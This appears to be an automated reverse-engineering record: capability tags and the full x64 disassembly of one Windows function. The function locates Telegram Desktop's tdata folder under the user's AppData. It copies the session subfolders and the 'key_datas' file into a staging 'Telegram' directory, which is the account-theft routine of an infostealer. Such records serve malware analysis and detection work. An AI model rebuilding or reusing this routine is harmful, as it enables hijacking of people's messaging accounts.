Function at 0x140004c70
Capabilities:
Create directory
Query environment variable

Disassembly:
push rbp
push rbx
push rsi
push r14
lea rbp, [rsp - 0x2b8]
sub rsp, 0x3b8
mov rbx, rcx
lea rcx, str.USERPROFILE
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
lea rcx, [rbp]
sub rcx, rax
nop dword [rax + rax]
movzx edx, byte [rax]
mov byte [rcx + rax], dl
lea rax, [rax + 1]
test dl, dl
jne 0x140004ca0
lea rcx, [rbp]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140004cb5
movups xmm0, xmmword [str.AppDataRoaming]
movzx eax, byte [0x14012eda0]
xor r14d, r14d
movups xmmword [rcx], xmm0
mov byte [rcx + 0x10], al
mov ecx, r14d
nop dword [rax]
movzx eax, byte [rbp + rcx]
mov byte [rbp + rcx + 0x40], al
lea rcx, [rcx + 1]
test al, al
jne 0x140004ce0
lea rax, [rbp + 0x40]
dec rax
nop dword [rax + rax]
cmp byte [rax + 1], r14b
lea rax, [rax + 1]
jne 0x140004d00
movups xmm0, xmmword [str.Telegram_Desktop_tdata]
lea rcx, [rbp + 0x40]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14012ee90]
movsd qword [rax + 0x10], xmm0
call fcn.140002750
mov rsi, rax
test rax, rax
je 0x1400050fe
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x3f0], r12
sub rcx, rbx
mov qword [rsp + 0x3b0], r15
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x140004d50
lea rcx, [rbp + 0x110]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140004d70
movsd xmm0, qword [str.Telegram]
movzx eax, word [0x14012eeb0]
movsd qword [rcx], xmm0
mov word [rcx + 8], ax
lea rcx, [rbp + 0x110]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir
mov r12d, 0x4000
mov qword [rsp + 0x3e0], rdi
mov r15d, 0x128
mov rcx, qword [rsi + 0x128]
call fcn.140004880
mov rbx, rax
test rax, rax
je 0x140005081
lea r9, [rax + 0x2c]
mov qword [rsp + 0x20], 0x105
mov r8d, 0x105
lea rdx, [rsi + 0x1c]
lea rcx, [rbp + 0x2e8]
call sub.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s
test eax, eax
je 0x140004e20
lea r9, [rbx + 0x234]
cmp word [r9], r14w
je 0x140004e1c
mov r8d, 0x105
mov qword [rsp + 0x20], 0x105
lea rdx, [rsi + 0x1c]
lea rcx, [rbp + 0x2e8]
call sub.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s
test eax, eax
jne 0x140004e5b
mov rax, qword [rbp + 0x2e8]
dec rax
mov qword [rsi + 0x10], rax
mov eax, dword [rbx]
test al, 0x40
je 0x140004e44
mov dword [rsi + 0x18], 0x2000
movzx ecx, r15w
mov eax, r14d
jmp 0x140004e75
test al, 0x10
movzx ecx, r15w
mov eax, 0x8000
cmovne eax, r12d
mov dword [rsi + 0x18], eax
mov eax, r14d
jmp 0x140004e75
mov word [rsi + 0x1c], 0x3f
mov ecx, r14d
mov qword [rsi + 0x10], 1
mov eax, 0xffffffff
mov dword [rsi + 0x18], r14d
mov dword [rsi], r14d
mov dword [rsi + 4], eax
mov word [rsi + 8], cx
cmp qword [rsi + 0x10], 0x10
jne 0x140004f85
mov rcx, r14
nop dword [rax]
movzx eax, byte [rbp + rcx + 0x110]
mov byte [rbp + rcx + 0x1e0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140004e90
lea rcx, [rbp + 0x1e0]
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140004eb1
movzx eax, word [0x14012edc4]
lea rdx, [rbp + 0x1e0]
mov word [rcx], ax
dec rdx
nop
cmp byte [rdx + 1], r14b
lea rdx, [rdx + 1]
jne 0x140004ed0
xor r8d, r8d
nop dword [rax]
movzx ecx, byte [rsi + r8 + 0x1c]
mov byte [rdx + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x140004ee0
mov rdx, r14
nop word [rax + rax]
movzx ecx, byte [rbp + rdx + 0x40]
mov byte [rsp + rdx + 0x30], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004f00
lea rcx, [rsp + 0x30]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140004f20
mov word [rcx], ax
lea rcx, [rsp + 0x30]
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140004f35
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rdx + 0x1c]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140004f50
lea rcx, [rbp + 0x1e0]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir
test eax, eax
jne 0x140004db1
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x30]
call fcn.1400046d0
cmp qword [rsi + 0x10], 0x11
jne 0x140005003
mov rcx, r14
nop
movzx eax, byte [rbp + rcx + 0x40]
mov byte [rsp + rcx + 0x30], al
lea rcx, [rcx + 1]
test al, al
jne 0x140004f90
lea rcx, [rsp + 0x30]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140004fb0
movzx eax, word [0x14012edc4]
lea rdx, [rsp + 0x30]
mov word [rcx], ax
dec rdx
nop dword [rax]
cmp byte [rdx + 1], r14b
lea rdx, [rdx + 1]
jne 0x140004fd0
xor r8d, r8d
nop dword [rax]
movzx eax, byte [rsi + r8 + 0x1c]
mov byte [rdx + r8], al
lea r8, [r8 + 1]
test al, al
jne 0x140004fe0
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x30]
call fcn.140004530
lea rdx, [0x14012ee98]
lea rcx, [rsi + 0x1c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140004db1
mov rcx, r14
nop
movzx eax, byte [rbp + rcx + 0x40]
mov byte [rsp + rcx + 0x30], al
lea rcx, [rcx + 1]
test al, al
jne 0x140005020
lea rcx, [rsp + 0x30]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140005040
movzx eax, word [0x14012eec0]
lea rdx, [rbp + 0x110]
movsd xmm0, qword [str.key_datas]
movsd qword [rcx], xmm0
mov word [rcx + 8], ax
movzx eax, byte [0x14012eec2]
mov byte [rcx + 0xa], al
lea rcx, [rsp + 0x30]
call fcn.140004530
jmp 0x140004db1
mov rbx, qword [rsi + 0x128]
mov r15, qword [rsp + 0x3b0]
mov r12, qword [rsp + 0x3f0]
mov rdi, qword [rsp + 0x3e0]
test rbx, rbx
je 0x1400050e5
mov rcx, qword [rbx + 0x480]
cmp rcx, 0xffffffffffffffff
je 0x1400050c3
call qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rbx + 0x480], 0xffffffffffffffff
mov rcx, qword [rbx + 0x488]
test rcx, rcx
je 0x1400050db
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov qword [rbx + 0x488], r14
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
jmp 0x1400050ef
mov ecx, 9
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_errno
mov rcx, rsi
mov qword [rsi + 0x128], r14
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
xor eax, eax
add rsp, 0x3b8
pop r14
pop rsi
pop rbx
pop rbp
ret